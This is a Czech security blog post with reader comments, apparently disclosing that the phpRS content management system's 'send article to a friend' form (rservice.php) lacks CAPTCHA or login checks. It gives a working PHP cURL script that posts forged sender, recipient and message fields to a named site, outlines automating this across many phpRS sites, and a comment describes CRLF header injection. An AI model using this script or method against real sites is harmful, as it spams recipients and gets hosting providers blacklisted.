Redakční systém phpRS - kamarád všech spamerů

Verze pro tiskPDF verze

Redakční systém phpRS asi není nutné příliš představovat. Jeden z mála redakčních systémů české výroby, které se u nás významněji prosadil. Když jsem se prohrabával jeho zdrojovými kódy, uvědomil jsem si, jak snadné je zneužít jeho funkcionalit k rozesílání spamu.

Pod každým článkem je tlačítko umožňující odeslat odkaz na článek na libovolný mail a z libovolné mailové adresy. To by samo o sobě nebylo problém. Ale je možné připojit i krátký text a tady začíná ta pravá legrace. Odesílání mailu není podmíněno žádnou kontrolou v podobě CAPTCHA nebo 'pouze registrovaní uživatelé'.

Tamper Data
Tamper Data s odchyceným HTTP requestem s informacemi pro odesílání e-mailu

Jak tedy celý koncept vypadá? Ve své podstatě je velmi triviální. Potřebujeme tři základní věci: Seznam webových stránek běžících na phpRS, parser stránky a skript odesílající nadefinovaná POST data na skript rservice.php. Parser stránky má za úkol získat číslo článku a titulek článku na dané URL adrese. Skript na odesílání nadefinovaných POST dat jen převezme získané číslo článku a titulek a odešle data na danou stránku. Ukázkový kód pro odeslání POST dat na zadanou URL adresu by mohl vypadat následovně:

<?php
  SendData('http://www.supersvet.cz/rservice.php');
       
  echo "Done!";
       
  exit;
       
  function SendData($url){
    $fields_string = "";
    $ch = curl_init();
               
    $fields = array('akce' => urlencode('sendinfo'),
                    'cisloclanku' => urlencode('2008100001'),
                    'prtitulek' => urlencode('Zveme vás na Databázový svět 2008'),
                    'prprijemce' => urlencode('[email protected]'),
                    'prodesilatel' => urlencode('[email protected]'),
                    'przprava' => urlencode('Tohle není spam: hxxp://security-portal.cz'));
                                               
    foreach($fields as $key=>$value){
      $fields_string .= $key.'='.$value.'&';
    }

    rtrim($fields_string, '&');

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, count($fields));
    curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);

    $result = curl_exec($ch);

    curl_close($ch);
  }
?>

Mail
Ukázka mailu zaslaného pomocí výše zmíněného PHP skriptu

Volby prohlížení komentářů

Vyberte si, jak chcete zobrazovat komentáře a klikněte na „Uložit změny“.

CRLF injection

Jojo, toto je poměrně častý problém webových aplikací, nejen phpRS. Nevím, jak je na tom phpRS, ale docela dost srandy si lze někdy při odesílání těchto pozvánek užít s CRLF injekcí. Stačí vložit do některého z polí bílé znaky pro přechod na nový řádek a přidat si tak do výsledného e-mailu další libovolné hlavičky. Někdy tak není problém úplně nahradit předmět nebo tělo celého emailu.

Obrázek uživatele RubberDuck

Ano. Jsem si vědom možností

Ano. Jsem si vědom možností CRLF injection a plně souhlasím s tvým komentářem. Ale mně v tomto postu šlo hlavně o zneužití vlastnosti phpRS.

/////////////////////////////

/////////////////////////////////////////

x

Ved na phpRS o tom pisali uz v roku 2007.

Obrázek uživatele RubberDuck

Nevím, nečetl jsem

Nevím, nečetl jsem (nepřiložíš odkaz?). Pokud je to tak, jak píšeš, situace se v nové verzi nijak nezměnila, tudíž to považuji za přetrvávájící chybu a přetrvávající potenciální riziko hlavně pro hostingy, na kterých je phpRS hostované. Na blacklist se hosting dostane jednoduše. Obráceně už je to podstatně složitější a náročnější.